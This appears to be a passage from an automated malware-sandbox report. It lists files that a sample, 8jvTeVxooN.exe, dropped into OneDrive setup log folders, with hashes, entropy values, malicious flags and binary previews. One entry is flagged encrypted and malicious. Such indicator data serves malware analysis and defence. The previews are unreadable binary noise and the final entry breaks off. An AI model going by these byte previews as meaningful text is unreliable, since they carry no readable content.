Size (bytes):	65536
Entropy (8bit):	1.0125675914346968
Encrypted:	false
SSDEEP:	192:H/PMGXAVDRFi4zn+FUmWSsLZwCEK2tZcnmXpu:fPRQRiK+Fms6nm5u
MD5:	4ED2095BAB44040122719E655FF95643
SHA1:	4D671B1A77D2B62CEAE8DFBC4777E534A4FADB99
SHA-256:	5414FFACD4B4ADC11E2CC0E6F0F3508FB56DB64C1BFE57B516CA17B09413C476
SHA-512:	105D1B3601524173AC184BB0D574BBB0E8B08402BFA97C76EA4FFC728932CC80CDE4D9FC66D4D06C1F3AEB9214BC9CE2F6421CBC390E8C821734FBEEA8069CEB
Malicious:	false
Preview:	EBFGOj...m..3.%.g....L.!>R..!L.>5./......y..H......(M+..g}..V.:.H..+...J....\|cA...gBa..}.`[5=.ao..h..G"..:.K...Y....q..^..b+.....~...Jk.Z(.q._.\|........!..t#7.y..=..vs.4#.4..4W.Y..>..$..F..a...y......W..b.{.p,n..4.K.!.uM.D..Z...E.....c2@p..+....C..lG.......O.s..k...a...b..."..}.}.U ..H.v...rzPR=6A.TYB......ye.W~.4...@..c{GW.......4.."{.px^;.Bv...n......&iM-.K!..h..3Ek\@G..b..4.8)..Z....].W.i^f...Va.s..T......F:..._<f....8_.i...0.O-.._P.......gNI...&(eG..1....G6.tC.....^..B.N.J.,d..s.t-.t{...YX?.fm..p/'#.j04.Z..).{.+.../..L.....".^...P/..7..B./D...`....4..QP....e.A$......r8.....q..Z............d......<.>...7W...l^e.+......\5.c...........b$..%.../q..+....7Ul.]X9....,.X..{....T+.....Jf....#..H....tS....m.I)...Z.Hy.u.....4-..<.Wb.3.,..K..N....3.^Kz.D"~..E.....R...&.......?Q.o.j6.vI.o...3.?.a.\ ..+>2.....a;o...;.O.i........0.....a8}(.?. ...b.....f.......}..P.-Xo...dV...kz..>...........)...`......+.lx.>.^.2..r..^.*..J!.....8...Y..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser-2023-10-03.1149.344.1.odl

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.20547604714195525
Encrypted:	false
SSDEEP:	24:IiX2+ecvBSj0lG1e8oEfG/7GdbgtWA3mObz:IiXXvN4MihgtZz
MD5:	E6074DB74D63A636C4CDB8196E16CF51
SHA1:	9D057383AF444158FB4C08C42128F3AD7765207A
SHA-256:	0A90574D14636C4A4DA6848E5EEF2EE38D4CF24CBD0822C756F359A036F7412C
SHA-512:	46EABA0346FFACF9F1FC7C8D9FA2A1074AB1A0A0C96E30201B29B931487117066431BD73324F0BB0C8FD401A2EFA3293325F16D56D5A1A38A3BBE58047D53DE0
Malicious:	false
Preview:	EBFGO.....]%..5S.;/N./..\|...!....Ha.HZ&x.........<...#OY........1._.u.xb-.p2.?....{..h......'z.O.\/...>..-..L......k D...IV.n..3ui.^.cC .~5.18..Nl..N.a61...y-2 .Na.9.....&...{.I...cV..SX.....`..b......-..F...i......g......"A.."W.`......>l..`.Adl i..4h2....%E....E..$..\nP.Q...o..u....f..".O..DA..QE.@V...,.Oe6..`.L.N.O.pC.. ..M.Yn.....U.........X&..Pp. ..,..0.....O...<j;}Q...l...]..JM....t}d.$].W...xCX.v.M7][.Z.........7......A.-l..5...`.c..&.}...........N.."D..;...=Z!.c=;.r.O.p.....d.h.....i....g.....'.'.......i.4+...ba.......$1.o.X.R.`.........H.h.p(....@6`..U.....<W....,.`.......S......pU.@...'JQ-..QD+`.:....Dd.....m...YY.hvH..3.....gU.X.\|E..uLC1...6!iGDd7.%...:.*w....P\|...-......Ik.H....W....C>c...$..F.@N..r...:.._S0m.C.j....<.pz.$.F_...uw.....bNvZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}........................................................................................................................

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser-2023-10-03.1150.9064.1.aodl

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.685831664386352
Encrypted:	false
SSDEEP:	768:qDjsOsZevWjhsr5Bm0OqM6jQvtWKUKAkXYS0y:ojsRgzy0OqMuQvtKGXT
MD5:	ADAB39813308B827D39D83D27000F49C
SHA1:	33D5B09DD1FED7F46BE699CB9996F39029B4FFD4
SHA-256:	AD82540ABD8E8D2CB7C66AD9FB0283500B48167D8475EA13DFB84C38EBBDC58E
SHA-512:	F1A9D301A2BFFD853A0A4FF310D678274A54F1CBB79B60A7A814EE1D8A4029D9D2373E6A9D378449A149FF11C6BCE031C25FF50E96770C8E0F5BE32C7613889A
Malicious:	false
Preview:	EBFGO....._qgX.nU.........~.....@V_z..c..f`.A..m'..KC8k...........S.yMD...Y.Z...e..B...zfes.!T..z..Nd!. T94.$($3..w....#..J;6..^.,.}M.a.P....!=.."K.;..J0.U.......Ms^mFC...B.(-. .....N..(.....5d2...G.....d.Oc..EB`4%@....{....:....."t...x.]....=..t........S._.3./!..>.?R..;...Tu....(p#....g..]..S....z.u.:.!&C...`...I..n...{...!X8..p.\..A....i.T%g..........:....&._..vc.}H......X9......w..'..V3S%...S.j...g\.kV..S.:....d...w.\|\|.n.:....}.e.N..z.K.:7.../...4FR....b~.~.{.....,b.mw._.z0VE...Mo&.w...g2R.~..rC...e.Y......C.&Nnzi................y..z..F..+..q..F.V.Pn0..e9....0...V.....~....Na...M..'@.D.....z..i..x.,....!i.......wV.o.....[.T...._..).......s.....>.-..zS[....Zx...4..F....b....c..P.gG...zpX.r.o.*\.7.K.l3.....Y)....Q.8WIFDpv$x........F.F7...........f.]x.P.........o.b..9........I.........+..oS.a..Qdz.: .}..4.a.}..%....CI.z[T.....&v.].[.s.....#@b4?..9...?}..$3.+1.....k5...,....,.\|L\|...yF.....-O~#..u...Iw.G>.2...5tcz..u...V...H.NJ..>....\..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser-2023-10-03.1150.9064.1.odl

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.27116046377658265
Encrypted:	false
SSDEEP:	24:cfsfne1CyG7tqoxTxOFRYHGcFtAOzLUuQ9Klod0NObz:cGnRqQ9OeGcFCOXU59KKdrz
MD5:	1EC83E83ECA3D46ED8E1601AD65E83DE
SHA1:	8D4DBDB1B58F220FAC82D408743322C321CE6986
SHA-256:	0BEA37529EE846D5D44A24BD3C8D62C3529CCD329F4B58E02788E88BFE787D29
SHA-512:	9F2CBBDDB2349783C0AB73F8981992395D25DC50007E4804BF50B4529673A12BADA57454EAD77961C76BA86459F85F6FCCF603827B012AAFE038AC5B6B9A6B55
Malicious:	false
Preview:	EBFGO."....Q.C...!Aj8.......)...QB.h;g.....m..a..1...=..$A.)wc.<.3..+........._M...<.o.9syq_d. x.J.).....x.<r^(.v.(7.M.d.O...$B...]=:..y=24....i....L......zs)e.-VP..n.8....c./.....n..N5K..g.b......=....g..Z.`..;}#.{....\..Zir.yK....2.3`6..D..N.Tr-c. wg..x+.....rW.4.W.v[/.g...s.e....05.G6i..g.09..>[.3Y.....u.....Q..{>.....j...dpq!<..s..6......R..'..U.\|].W.&......:..R...6..cb.5.Xku.....D4.{%.%....K$,"J...e....U....#.B.,E.P{ .2..F7...=.s@l..$b...F.H......."..#......ft.HR.........dn..v.6.x..%@......)."..vV.N3...c .&.x....j.E.j...'6.j..h.m.....#..:x..zX.`.....R...W..x.O;r.tJ0Q...-..o.%........x.s.t...n......3......9.6. ..V.66..[h(s3....l.wH.:...Z(.WVSd...0y...d.........r..X...0.;I0...~..l.s..,.....c`?.....s0..^...(...k...u.....-P..}....\y....FmU.....MXFa../.Y.....X.l%.{...AJ.+...mQ~.....v.%..mh.^V...F..tX....9 ...,....q<.....GCCS.Y..(.hSf.&).#.`>..^J..W.S.8..O.p.Y..UO.mh#....%....=..F....0...p.].7k.......g)......G...sb.....{.9...>pJ

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser_2023-10-03_114938_158-b2c.log

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	7.911226751653162
Encrypted:	false
SSDEEP:	3072:k0YNOMvnNqjO3g6dlvW+OO16wvBUeVOYzLavXZCj1vCX:lYBqjO3DdB2OswJymaPE1
MD5:	3C4A00459753021047B415A78649F6E5
SHA1:	4A10DBA00EEDBAFD4A05BE077DAEB03B8A71DBFE
SHA-256:	70A81B1700B6CC2697389921B493F877E68114C5FF6C386A8A5DC3E54C2622F5
SHA-512:	48D54BB07A7FD0BB65B3E400DC7F259A55957B7E723BB72AFD19406E025BA715AE66ECEDA2E482340DA3B4E707D7E506708801F6FC052D1E432D23A99F44DB75
Malicious:	false
Preview:	1.0./....R...<..>5...I.>X....W.Arn6.;`...M.....U.o.x.6..O....mmG....>.[.../.....<u.q<@Y..e.....G;..q.,f.....A>.....0i..zZ.2..+a28T.'.E....QJ\|.$....h..P7...C.8<...D.\|.(.B....hc..C4...i. <.-H...R....=3.....QJ;[d@..{w<9..'..#s.5..........,.9}....B......8.O.+K;.. .h3+.....?..oP...Z.2.m....Q...B)2.g/.....1/.......9E..oYF.i' ......&.F.co.w0I...pI.aPN........O....n.PQ...d...Rb.G....Z.2n.g[..^.'...U...S.....}T.h..4F.m...+&......HY.C.S..zB6...8j.8.-.i.%)...Y@d.c].4..`.`.....RQE.n..t...A..l.._.b..Aw....#..U...%k....E..'...T.R.J.I&m...T.)...W.}SNQ$.......5...1yG.=nD}u..jc....b.,B..N...X6`...'...U.GeiWV....b..j.F.j)...r.G..%.Nf...b6..-'I..0........M...~9.. .......j......Z..#5.Ui....t}mv...o...QH....F....{....t.`.9..HB`..l3Ho....}...........>mOd0.Xaj..>b..%u^.\|..i....'....NwL..Vj7.....K...D.N.g..#~...cx...?....{....]....^..).\...{..<(,...p....q........!g..;.. .... ..k....Z..mLfP.Xz.~..#...Oo_...z..>-..*yy.....P.9..)..x0....[..0...

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser_2023-10-03_115005_9064-2616.log

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	262144
Entropy (8bit):	6.791524893058541
Encrypted:	false
SSDEEP:	3072:NyV2pzxNqSUojAlSITKfzUxoJloYahSA8tc7LDkhvkDS81i3CsT/f45/i9NdtNf:NyUgocxKfoG3aYAZLssDS81i3V/2i
MD5:	265EC724EB4C2F9C437722C09B645D22
SHA1:	4EC09FE9EF8E9C48EBFF8F7E77A105A53AFC79F4
SHA-256:	A8DD150A5478DDDA838C57F061757082C24AC283B242201AE04DC5593343F5B8
SHA-512:	9C76974F7B1713CE029F5A4181F70865EB15BCBF87BCC64BBA0296811552FE6378307D954380F707F54E846538CD095B9165EFC9ADC3222E02066F48F0B37D36
Malicious:	false
Preview:	1.0./...\|S.J..nR.y.MY....<.gAT.....G.z.v...z l..;.k......w......8.VX%...R....\.n...f..\|..^0.^h+.qm.Q.,...7I.!.4\.h...e....W%..f.........8V.GB.T...4".u.7....zZf$u.s.../..c.rB.I...q....0.9B..q.6.Qu8.ng.c."T..JAR...]..f....X..Z+..W..v.Y.:<.....?.%O..P15S.p. y?..T...D:.#r...).PB$..K...!.....7}.,.=.../{7.T..]Y....Y...3.....TD.2.....#...l)~....c........d!...;..j...M..(...s.W.DH...<`.~..u.o.....b.^.....o..Y.8H.7.}:J......;V...]0M5.G.....R.[....<(.s...3p...H.Sa...4xU/1...8......L....V...9rY9.........f....Y....Cyx].....MC..}...Ah...A.'.X.#.)X.{l...e..=..tm......v&A`g`RFB.5U.+.bA.R!.\|>...~.=...`...).RU.K"..i\).....M}..8}...d..........'.....S..L.....-..c{.n4....=}......... H..8T...2jO.:..T..YJ..z...u(..L6.Z.@...q.B.....'._~;B2%.nu.QcV...1..a..MA..e..7.."%.....2]F........jr..j=....7F...oL1.c...(z&......(dE!C.....3..Z\|.Alp2..z.Y..t2uI..s\|._h.3.u...%...54Y.J.s..:[.......T.!..?..uJ.Ev.:pN.i....r..z.7.F..\|..0..._.?.l....</........7..G].4W.'.+;n..T..V....W-

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser_2023-10-04_093243_16a0-1d8c.log

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	6.646929626578138
Encrypted:	false
SSDEEP:	3072:cnBzQMvwpcz4XmrfJo8bbXlRti/qHmUaUCYG+7:IzXIWmcfJo8bb1G/qH5AI
MD5:	795B70AF632288E318EE84E7F246F015
SHA1:	64A13D35C20AA30F55C6EB989B4C9F70B00F8C55
SHA-256:	D101D1407206D1225D78585D136A471D46186227AB09F627E4C727D86F75B3FF
SHA-512:	A000AF06D3B51AE3749EFD92AE19BB6C7807E052E153F4FBB9DD1E03E928757D6468F4592542658319E5964A4CF24F45CAFF41CB29B8A708ED001D643A05B3E5
Malicious:	false
Preview:	1.0./.w.....w...l......m.@`Ut..0...6d}.......UPX].....\.W..O...e.I......Q..L..l..l.fs.Y......NqTZ..w.e...}I..D..N.i.p...H.v...6ox....).e...b.f.H.$.SrO.i..IB.F..^.L.<....Xe...._9..l.R.;z...pj...3c....#.....\|Q...w.....DI......<..Bn._C..1lq...x..?....dt...}....><X....OC.F.'...q......=R....ye<UW.5>.?m..ot.X.v....2.K!.rwQ...,......q...g..{.s...Y&....1B.q.0..s.X.7..+.}..tB........kHesw.+..(b.No.F@.K.a7z.x.U....69...........3.@.....L.^..i4.R.....`.......#O..(.^V....J.....].g....m..8...S._7c......P..8.~....?.`'..^..0.Ji....._.>....[.a...Z.51....y..}....~e...W.:... ?...L.=r1..!..s..C.......n...\|..#..=.9.....9..Ge.`ST.....<..n.g%...;.........../.MO..N.j.o..~I.....@.H^;..W.G#....H....:..._,.N#.......}..>.K...?=..$.......I.F...et.a.EL...+.(.t.!..j...........i...t..EL..j..>.O(.k+....?.H0.`.....x......U.lE.s.){.,O.779...%J...Wt.RL.\L....r.GS.%...#.?M.G...>...TS&EB.....w..K..w..c...V.o-f...J.....s..r<...!LZ.............~........J0..gy....7\|E....=.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-03_114932_b84-2220.log

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	30630
Entropy (8bit):	7.992997477041075
Encrypted:	true
SSDEEP:	768:4zaFomuJQ9T6PvbJKHbet2tcmRRAM7C6o9liGBRohbmglpp0Vqn:4OluG9wJ4w7msM7AB5grp0M
MD5:	5922C72617AA6104A3122856A460DC3B
SHA1:	5C6130F5979E52C7233197AC6B33DDC657E9BEA2
SHA-256:	64363B0DC738A88B5BD76B37C21C0F3956FCADF0A0DEBB4B54C1CF0E30DB1C04
SHA-512:	1979A872FDD5C5097DF84335B2CD0B5E194C43AE2AA461C5B3776E4943FB77FA874BA89A1741F118EF216F406F0C0053F78849F0E22261162AAC6A4415A15DA4
Malicious:	true
Preview:	1.0./B#!#...K.N.QdF#..y..R..]N.D2.5.....9....2.@...k.&.-.%..QMu).}kB..\..I..0..'..."...G.0G?.A.K%..J..j.W0.F]u.."_.k..;{m...G.J.l?.Qd...e......-.l<...#D.B@yBT.Gn....>..EJ.s<...X.....7....Y..N..)...gz.v..F.?...........]=.\_X"...:.^i..f...N$."<.zp)T...V..^....o.-..UEGg....PJ}.....1.5..g.......b..%s.....[4JA...`.+k.r....L1w.2....9..SL.....!...l.q..q.....).......~NF:.......K.k~.`....<=]Qm..JM......A..r.Q/..V.O....v.4:v...,?.....m%..W......A!....f....az.r..)W.q".#........+c..m.`"."..'..n...@.8.'I..;.....Z..`_.E....P-+...G..D.K...WL.....!...z....v.O.....'..hQ...4.R..+..H..MZ.@..R.......h.....9..2(.l..D..$..b.,..Q.q..>....-.....(...{.M.nv.Z....B...>t.D.LG......8.e.......(6(..\p.5.. ..p....&.......m..`3.7Ts...>5k...r...-..8....f.T...(........0...;m....bQqYBM.!. .d....LXtN...Z.).....;..t...6.~.j..u]...n.hb)...'....v.^..Rsq4;_...:1/...../..g.].xB...{7.%...S.....*..%.^.Tc7.Z...}./.0s\|..oI...zC9........(..t.....Y/YM.S......1W.I..p.s.?..?\.HF....

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-03_115005_4240-5892.log

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.499631250635283
Encrypted:	false
SSDEEP:	768:0IG+FbGwmyyxqW76nF3zSb4XoUi/Cw6RYShf/:0IFaw+M1tzXXnXl/
MD5:	879B9067047C90E94EA07CEAD3DB0512
SHA1:	D3FDAFA6F27BBE3CE9033328B6F11C741EC2F0AD
SHA-256:	8AAC58250549F09AD968C252535583F2339BA2362066521C9613C4F712939429
SHA-512:	A1F3EB94D877CFF40D4AAA831CF18E0D078525387CF52DC0101E8A2B7394B7DDB70B3B87F4F4DD667C9984E87D66A348206FEBB57EB109230346CC84D7CB66E5
Malicious:	false
Preview:	1.0.//n.t.wf~.3....&.........jJ^.^.....kR......D.............a....e.j..w+.n.m.....B...Xk..(...,0~.\|...5...j2.....z...I.._.e..9....5...8.)].2.l.../..k...V.5..4..m...C..E[\.^.P.....fn5..hm...M......i..]..,mX.G.........h.c..].....#...4...5..Y.3....r@.g.(.@.v...%<..j..BF...s..6...,.T.;..... 9...W_S....S.vz....g.........n.2>..B..m...R....#e....l..pFx.......n}4....uT.P_O..!.&.....AD....x..x>R..boc.[...;.&X.&...7...0K...Lm.G2RT.E...'.'d...\|.!...4..;]+'.....7.z..8.fB 1q..`.....9v...B...\|+Ut.hJE.W..w..S..R.L.aB......K...s.{..!./...k.e.I].T..6{.).....%=.Ly..hX..[....c.W.....[6el..}.......G.b.'....GvW1-.~U..x.......S.$...P.......=2.m.A...^.T.e..q.X..\t..%..B7..I......{N...KG..d.[h..\I...]....(....h......yc..-...J.{=..l.9..[.C...^.".*.9...x?U....o...v...6.ih2..k..^l.N...1.#.G.n?..Ub1J:.7........)...?..r.y.7!.u......}......D.s`. ...'./&........1.R.`.g..Q.N(..Q.=wNz.N.M..E....c.+...?.zs.....vWB..3@...n..{:y ..)..r...=n...V..B..?....kSz.].J....4.`-._.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-04_093243_14f4-1074.log

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	6.629685339945301
Encrypted:	false
SSDEEP:	1536:bcvmt1Ot6RJxk15W3UN6Ay754ixdiyPW/DWSZb594NdZdEareD62lLDMHwwdhNYh:hfOUjxk15WuY5JL6DbD4LZrp2GHtdn
MD5:	3664A377EDC265E5FE77E5E874C899D7
SHA1:	65BE2EFFBE25A22A959A3EA0CE696C2EC5786EC1
SHA-256:	F82A19238BE8512C04E6D97F873137A90E6DA5ED45B90D1D83311A9C3FF7AB28
SHA-512:	69B7ED72828648EE345E8E35C0ACC67FD3922CA068A3223976053B7C1C221D697BDED5781CF6E111DF1FF198FF2D7052BE577768C05AED8FD4798F851499896E
Malicious:	false
Preview:	1.0./..2.}....Hr.iCg.Z...E..f.^..mv.m...HQ .5./.{..uh.....[.#..M....h....b..1V..%....6.y......v...yH1?t..v..I..ova.-..Bb.w..}...eR.}..C..m.Z......k.>LCb..u".U.K..C..j..XO..`..Z.0=V.......Z...\Z..8.7AT..R..U....g..g..5....S.]..r..m4...K]I..F.uw{A ..'..._0I.J[9^..,..K^}e3....5....b8;....k}..rCC.S.....X......D5.S;+Q4.5...pc..Zw...k.hV]...j.%\|B../Ze...e3f.....}.......V..~w..pD.....~?.f.(b..D.T@...-^.#..h........D.}..?..KkK.........3..e...c....1.X...+^..a.P.q.U......7.....R.......A...\.'./g(.Ov9l.AH1.<...DG1<2z.3....#......tu.s%-.UHG..9>.V..lk.AC]..~.=S.#0[.K..q.mM@.(..j..Em.G..jc.=........\|58(..~...m.1b.1.m/.e.ZW.q.T.z`..........+.1..6..t6....+..V.s..i.<.p4'.....%.F..?7..\q.........4j?.U.\|.U.....}....k..r.I.Q....p...M....+.K..e.5....l7=.`......{.B'G....,..N.gw....p..!....4...rO].F.<.}..V..#.#.,._k...>..H.\|..^.....i.........d..!~>.....q.V...Pq&B.+......7.5./...B...g...O..3.3....B...n.0....J5.;7\$8.B..\C$5=.=......X.5]A.T....f...-z1..<A.N1H@=X

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\StandaloneUpdate_2023-10-04_084137_4224-6092.log

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.102592423549366
Encrypted:	false
SSDEEP:	192:/0Nwg1F9e4LcwHC1h9ZJMD9s9wwND6Rz9YIgp/0v/sv1KWZEQ70:8Sl4LcuU9ZJMhuDcz+1p/s/sv1JZz
MD5:	A7E33A9FDD92A28B1887AA07DA691669
SHA1:	6570B28624243C28D2F264D2EB9B73EC00A19C41
SHA-256:	5E05C467243893B74841DFF9D45192F2455FBA23926DB74912E5B7A196CAD661
SHA-512:	5425573D51DE4B8B1D30618D9A8476408751DAE26B5F56B18719A1C2B8DC2BEB9298827B1086CC3F89E9E8E9BE971B5BF1E9CF3FF1AE821F3DCE01A53E546F76
Malicious:	false
Preview:	1.0./.w'n.},...F...u/...3T..%...j.....$...oZ:.J.$.k...<......rx!~`9e...~.1.,..3;.<.......a.}.......N.....As/t...._.]d._.~.P..6.1~.8.].=a..U..>p....1..b[..$...n'.....B.O...Eg..-..A.-.E.J..j.#bZ.y..C.&.?.o..}.b.>.'...Lv.-,......_.v....^........s...w}...\dC..IE...Y..n;/..J.......ie;j.d..&?_.+....U.....O...O...6_A!..,.C...<W.....rs.4;f2evf>.3_..6v.@.......Dx.59.R@.N.ae......n...4..$1.m......../....C.....V..^..Ye....p..p/Al.{..k..=..K.M..4...(...VpO{t;.....&...H.....`.P.Or..[.#R...f."7..@.J/.~.%6.!..&~.K.:.y.g....iO_1.`....4O.Y.......o.....(]u........-.>e.....p.#.h...Z..0..<....ux..a..E..&..w..}7.....p8u-...'........N.u_V.r9.`..$..).4Dx..MP.06..D..d..}i.2y..`V..yG.!%....#.......C...u........S.\|/.EGf.X4...zz.....%....y.@..$...z....Jy.0e.....>..S.[.k.@.'..NY.L{h.z..f..-z..w...p.pR.5..`.,.@..WrH..=F.x.wn...D.yd..H...?...F..X......=R.h..=.9f'.~p...._0.}%..u...g4....A...s..q..L.<0.1F.V.......".x"iM...;......4....{7......O......b.8..1.=....M.`.iZ..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-2023-10-04.1059.6292.1.aodl

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9663273959768297
Encrypted:	false
SSDEEP:	96:0Ek42ImkLYOzQbxSSUEuugKmQtPX6+BzMUWvjVxKbV:0EkocoOxSFE3gMpK+BoXjVk
MD5:	4D082A17CDB60DDB18228010E25E1B23
SHA1:	70D25E9157B1AA4A51CF9109C5C31C0B4DBADE64
SHA-256:	F72A45D1BBC8B7FB0B0D9F58374A1BE6CD3A88438043CA160C3F553751BDD05B
SHA-512:	3837CD7D59343DC69D03EE680D270D6473DAEF17E4C4F8EAAF177B571304DAC57693D2DAA707C08B541DB6657A51F4ECB7F1115F9877E50B94412D477BEC2ED3
Malicious:	false
Preview:	EBFGO.(.../1.p...V.yf..7C,D..<p._..?9.).).0[.x.o..nz...FS...%...;.>.T\|1..W..4...i.x....dr>F.l>W....v..X..hKRXW.R.I3.n.~.cd..pYj.:...i.t~.g.>.T..!fS.9.a.^F....-. .....s.w...`.."...E....".?.)'...!... -...z.!.......s./.. .......>,o.le...Z(.X.n?....8.X...3.5.<....G..l6...U.oR.NX....cE.......l(Cqvv..!...jY..M-.........c..bQn.......[8..r.s.f.P....H..~.....[.....j.V;A...c........}..PYe-Z.jzsM..!...\..s.{...'....`.X.2..R.-.ju#..z....iz......m`.S[.ug1.4.G.Z..b..'x_.8........B......rn......v....%.v.....#.."...&L.~D..'s.....b-..2..W.fWM....Q.X..>!J./=.......9G.u...@m..%.!>....vK}...L.......z.%-qT.sW....w...t..,.L..TZ..~.k5c.I{.x- ...Q&".t<.....t}.RI..#...@2I.........Hl........oW>U..../y.{...!......?X...%L...2....o=....(u9....B.t.d(?.....o;..4.0.9.}$H....m..W...4O..2.(qy..>..5.0.x.}.X....ut.3./.`..;..zXln....`..^....H.N...y.ozq.. ..l9. .L.,S....;HDQX6..vC..(...]....5.E.}:.j.,.......9...F...3....O.X.n.Z:..UU$...N.T.q.3.'.e..<..4....\4...Ed

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-2023-10-04.1059.6292.1.odl

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.5588327070148753
Encrypted:	false
SSDEEP:	192:vVEiK88eOziOrCfwP+6jCfZR+b82UeXGv73Qk4g:vVxK88zSwWThRo8XeXGvkD
MD5:	C2B64AC3C1A65F0BD796312639CAFF8B
SHA1:	29640A4013A09FD4C33067945608812826FB997B
SHA-256:	EBD855F0B98C7A8E6EFE1761654D024B3546B2A90F70127745F6B534B28C3273
SHA-512:	5F93B8A6B2C3C5C3344D1A7BE8DF74AB21883008969D5CA25AA0DB4E562338787CED7B518E6D7222C5021F354DB49C6F8B092B5AE18A01C59D7C98846F46A3CA
Malicious:	false
Preview:	EBFGO+.6vU..Z..[....:Y.D.......#.C..{..yQ.T2..`G...h.TR.>..1.~.....R......e....q.I.....s.9...2`.+#0Uo...."#.(..u.m.o..V...N..04.57S..Sg...R....N.4.u..>K_.....,...P...)....\.....c.u.2".\|@.Pe.pz.J9...Km...g...M......KO.G...ZP..R....n..`){....].b...M'.......b+...d...Gs..)...E.D...........P..9$.,.c..K.>g:._[.E...Z..Q.L..-.P..\|.8..B:~<E9N... \|.. .mg8.{.;'!M..#...0..f.4....q..kv..,L5..>j-.W3..Z:.0..PK...p.X...S.{z..z.Oz...x.$...f.&M .y.d.j. @.....dyJ..D.t.Y4...u...fEc...........-j......z#....5L.BCw.T....9J.r6.... ..GI.3fd.......c~.^..}Y..J.#.;.....^...Eg=e....w.....Xl.]..V..........C.T...^[=.]..'.)2.yq..`..mP..."6..M..K..S..9/.,.aI.._j....(.....lZ.C...y@.\...[.d...#S.i(...........-. ..ML..Q....f....4Ri....T..%.nA..a....v...E.+......K......0....-.........j~......un..6.3.~,..E.".g....w.W.D)GA.=...i...t.......u...C. ....L>q<;.I.p.E1..D5/t..p"\|.)..k/."..zw.P......U....-1.......!../..k8..H.=[po.s.wr...W$'......7..2....<o....V.$.6!..H.(

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerMachine-2023-10-04.1059.3196.1.aodl

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8666013746486139
Encrypted:	false
SSDEEP:	96:BaeaQeURkvzeReSn7MHZzxgQ6cYpCnNrGEbg2WDPuELhBevwhspFokI:7VRk7yKpxg8nlF5mP0R2
MD5:	DC9FDD89F62851E4A1C3E0F84CD27CFD
SHA1:	272DD674B32C4B8B9F3F2AC2742AF6B45DD422E2
SHA-256:	D86DFE9633BEBB2A131FD749F001B00D75004F36C56ABBCAD6C03953F0683CE4
SHA-512:	EB1EEF3773A8C92563D6982DCDE9F8C37B38ADC52BAB0319766BAFACDBA91CFA94F62BCE519DC98520857F63E4EE6C0F5BFB6315EFDB2658670104606211468C
Malicious:	false
Preview:	EBFGO....}..Y....xP..1.M.D0<....'....ZAE.......S..-0...F7.OE.].~.......#T..]y...F.$.~d..x;....&.........(.h.v.}L%?3.Yf.s.+...T/..'...a..XqCNl(_.=*..}c......C...^..g.+... ..F\.....v..q./.'<;JI.6$F...s..g..`:...hV.2....RtG.J:.K....,...m.J...:t .E..q+.;z.]k..et.............+J.C_-S....&......X7H.!...7.....ZWc..n...2..{?....w_z..x...zj..N..y..b.UG.byoZbA.....F......Z....@...b$..,$.w.....2`.`7b..)I...B....?..FT[.i..^.m....2{.....2d@.;P..]..q.^2s..`o.#2.....P..d......C.........}...a.../............v]p.K.c.BG..u..`b.z..\|..:.5..!../....W<...H...[.`2.P.....>..j........K.w=.8..pA.....p...7..#.0.>.vd.%..Q.?I`G.....Y.3....c....g..'.N...8......]..6..~)U:..\&..7%n6+.$$..R.::/..RX0.;{.K......D...9.^.....-..\l.5B.B$.(.nw..z.....>..U..6.\|..:...=R..O...o...J.t..c_0.b...=xe..U....z.n....l.H...Z!...w...........l...dj............0.....,..qq2.dA."0PE,....t...^......q....U..#.i.......b.K.A...G.6..w..%..7p.........5.....90t../............{...e;.Oi.Z....o

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerMachine-2023-10-04.1059.3196.1.odl

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.20634144179677844
Encrypted:	false
